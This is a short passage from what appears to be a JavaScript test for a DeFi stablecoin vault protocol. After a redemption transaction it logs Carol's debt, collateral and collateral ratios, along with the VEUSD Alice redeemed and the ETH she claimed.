const waitedTx = await tx.wait()

const C_debt_after = await contracts.vaultManager.getVaultDebt(C)
const C_coll_after = await contracts.vaultManager.getVaultColls(C)
const C_ICR_AFTER = await contracts.vaultManager.getCurrentAICR(C)
const TCR_AFTER = await contracts.vaultManager.getTCR()


console.log('Carol\'s debt after:', (C_debt_after.div(toBN(dec(1,18)))).toString(), "VEUSD")
console.log('Carol\'s collateral after:', (C_coll_after[1][0].div(toBN(dec(1,18)))).toString(), "ETH")

console.log('Carol\'s ICR after:', (C_ICR_AFTER.div(toBN(dec(1,16)))).toString(), "%")

console.log('TCR after:', (TCR_AFTER.div(toBN(dec(1,16)))).toString(), "%")

const emmitedRedemptionValues = th.getEmittedRedemptionValues(waitedTx)

const actualVEUSDAmount = emmitedRedemptionValues[1]
const actualVEUSDAmountFees = emmitedRedemptionValues[2]
const actualETHAmount = emmitedRedemptionValues[4][0]

console.log('Alice Redeemed VEUSD:', actualVEUSDAmountFees.add(actualVEUSDAmount).div(toBN(dec(1,18))).toString())
console.log('Alice Claimed ETH:', actualETHAmount.div(toBN(dec(1,18))).toString(), "(", actualETHAmount.div(toBN(dec(1,18))).mul(200).toString(), " USD)")
})